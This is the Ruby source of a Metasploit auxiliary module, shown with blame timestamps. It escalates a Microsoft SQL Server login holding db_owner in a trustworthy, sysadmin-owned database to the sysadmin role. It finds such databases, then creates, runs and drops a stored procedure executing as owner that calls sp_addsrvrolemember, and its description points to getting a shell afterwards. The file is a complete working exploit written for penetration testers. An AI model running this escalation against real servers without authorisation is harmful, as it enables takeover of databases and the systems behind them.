metasploit-framework/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb

186 lines
5.7 KiB
Ruby
Raw Normal View History

2014-09-26 15:29:35 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
2014-09-26 15:29:35 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/mssql_commands'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
def initialize(info = {})
super(update_info(info,
2014-12-09 16:28:45 +00:00
'Name' => 'Microsoft SQL Server Escalate Db_Owner',
2014-09-26 15:29:35 +00:00
'Description' => %q{
This module can be used to escalate privileges to sysadmin if the user has
2014-10-09 15:46:51 +00:00
the db_owner role in a trustworthy database owned by a sysadmin user. Once
2014-09-26 15:29:35 +00:00
the user has the sysadmin role the msssql_payload module can be used to obtain
a shell on the system.
},
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
'License' => MSF_LICENSE,
'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
))
end
2014-10-09 02:18:56 +00:00
def run
2014-10-07 04:52:30 +00:00
# Check connection and issue initial query
2014-10-09 16:38:45 +00:00
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
2014-10-09 15:46:51 +00:00
if mssql_login_datastore
print_good('Connected.')
else
2014-10-07 04:52:30 +00:00
print_error('Login was unsuccessful. Check your credentials.')
disconnect
return
end
2014-09-26 15:29:35 +00:00
2014-10-07 04:52:30 +00:00
# Query for sysadmin status
2014-10-09 15:59:08 +00:00
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
user_status = check_sysadmin
2014-09-26 15:29:35 +00:00
# Check if user has sysadmin role
2014-10-09 15:59:08 +00:00
if user_status == 1
2014-10-09 16:38:45 +00:00
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
2014-10-09 15:59:08 +00:00
disconnect
return
2014-09-26 15:29:35 +00:00
else
2014-10-09 15:59:08 +00:00
print_status("You're NOT a sysadmin, let's try to change that")
end
2014-09-26 15:29:35 +00:00
2014-10-09 15:59:08 +00:00
# Check for trusted databases owned by sysadmins
print_status("Checking for trusted databases owned by sysadmins...")
2014-10-09 16:25:13 +00:00
trust_db_list = check_trust_dbs
2014-10-09 16:38:45 +00:00
if trust_db_list.nil? || trust_db_list.length == 0
2014-10-09 15:59:08 +00:00
print_error('No databases owned by sysadmin were found flagged as trustworthy.')
disconnect
return
2014-10-09 16:25:13 +00:00
else
# Display list of accessible databases to user
print_good("#{trust_db_list.length} affected database(s) were found:")
trust_db_list.each do |db|
print_status(" - #{db[0]}")
end
2014-10-09 15:59:08 +00:00
end
# Check if the user has the db_owner role in any of the databases
print_status('Checking if the user has the db_owner role in any of them...')
dbowner_status = check_db_owner(trust_db_list)
2014-10-09 16:38:45 +00:00
if dbowner_status.nil?
2014-10-09 15:59:08 +00:00
print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
disconnect
return
end
# Attempt to escalate to sysadmin
print_status("Attempting to escalate in #{dbowner_status}!")
escalate_status = escalate_privs(dbowner_status)
2014-10-09 16:25:13 +00:00
if escalate_status
2014-10-09 15:59:08 +00:00
# Check if escalation was successful
2014-10-09 16:04:42 +00:00
user_status = check_sysadmin
if user_status == 1
2014-10-09 16:25:13 +00:00
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
2014-10-09 15:59:08 +00:00
else
print_error("Fail buckets, something went wrong.")
2014-09-26 15:29:35 +00:00
end
2014-10-09 15:59:08 +00:00
else
2014-10-09 16:25:13 +00:00
print_error("Error while trying to escalate status")
2014-09-26 15:29:35 +00:00
end
2014-10-09 15:46:51 +00:00
disconnect
return
2014-09-26 15:29:35 +00:00
end
2014-10-09 15:48:00 +00:00
# Checks if user is already sysadmin
2014-09-26 15:29:35 +00:00
def check_sysadmin
2014-10-07 04:52:30 +00:00
# Setup query to check for sysadmin
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
2014-09-26 15:29:35 +00:00
2014-10-07 04:52:30 +00:00
# Run query
2014-10-09 16:04:42 +00:00
result = mssql_query(sql)
2014-09-26 15:29:35 +00:00
2014-10-07 04:52:30 +00:00
# Parse query results
parse_results = result[:rows]
2014-10-09 15:59:08 +00:00
status = parse_results[0][0]
2014-09-26 15:29:35 +00:00
2014-10-07 04:52:30 +00:00
# Return status
2014-10-09 15:59:08 +00:00
return status
2014-09-26 15:29:35 +00:00
end
2014-10-09 15:48:00 +00:00
# Gets trusted databases owned by sysadmins
2014-10-09 16:25:13 +00:00
def check_trust_dbs
2014-10-07 04:52:30 +00:00
# Setup query
sql = "SELECT d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"
2014-10-09 16:25:13 +00:00
result = mssql_query(sql)
2014-09-26 15:29:35 +00:00
# Return on success
2014-10-09 16:25:13 +00:00
return result[:rows]
2014-09-26 15:29:35 +00:00
end
2014-10-09 15:48:00 +00:00
# Checks if user has the db_owner role
2014-10-09 16:25:13 +00:00
def check_db_owner(trust_db_list)
2014-10-07 04:52:30 +00:00
# Check if the user has the db_owner role is any databases
2014-10-09 16:25:13 +00:00
trust_db_list.each do |db|
2014-09-26 15:29:35 +00:00
# Setup query
sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user
from [#{db[0]}].sys.database_role_members drm
join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"
# Run query
2014-10-09 16:04:42 +00:00
result = mssql_query(sql)
2014-09-26 15:29:35 +00:00
2014-10-09 16:25:13 +00:00
# Parse query results
parse_results = result[:rows]
2014-10-09 16:38:45 +00:00
if parse_results && parse_results.any?
2014-10-09 16:25:13 +00:00
print_good("- db_owner on #{db[0]} found!")
return db[0]
2014-09-26 15:29:35 +00:00
end
2014-10-09 16:25:13 +00:00
end
nil
2014-09-26 15:29:35 +00:00
end
def escalate_privs(dbowner_db)
2014-10-09 16:38:45 +00:00
print_status("#{dbowner_db}")
2014-10-07 04:52:30 +00:00
# Create the evil stored procedure WITH EXECUTE AS OWNER
2014-10-09 16:04:42 +00:00
evil_sql_create = "use #{dbowner_db};
2014-09-26 15:29:35 +00:00
DECLARE @myevil as varchar(max)
set @myevil = '
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
as
begin
2014-10-09 16:38:45 +00:00
EXEC sp_addsrvrolemember ''#{datastore['USERNAME']}'',''sysadmin''
2014-09-26 15:29:35 +00:00
end';
exec(@myevil);
select 1;"
2014-10-09 16:25:13 +00:00
mssql_query(evil_sql_create)
2014-09-26 15:29:35 +00:00
2014-10-07 04:52:30 +00:00
# Run the evil stored procedure
2014-09-26 15:29:35 +00:00
evilsql_run = "use #{dbowner_db};
DECLARE @myevil2 as varchar(max)
set @myevil2 = 'EXEC sp_elevate_me'
exec(@myevil2);"
2014-10-09 16:38:45 +00:00
mssql_query(evilsql_run)
2014-09-26 15:29:35 +00:00
2014-10-07 04:52:30 +00:00
# Remove evil procedure
2014-09-26 15:29:35 +00:00
evilsql_remove = "use #{dbowner_db};
DECLARE @myevil3 as varchar(max)
set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
exec(@myevil3);"
2014-10-09 16:25:13 +00:00
mssql_query(evilsql_remove)
2014-09-26 15:29:35 +00:00
2014-10-09 16:25:13 +00:00
true
2014-09-26 15:29:35 +00:00
end
end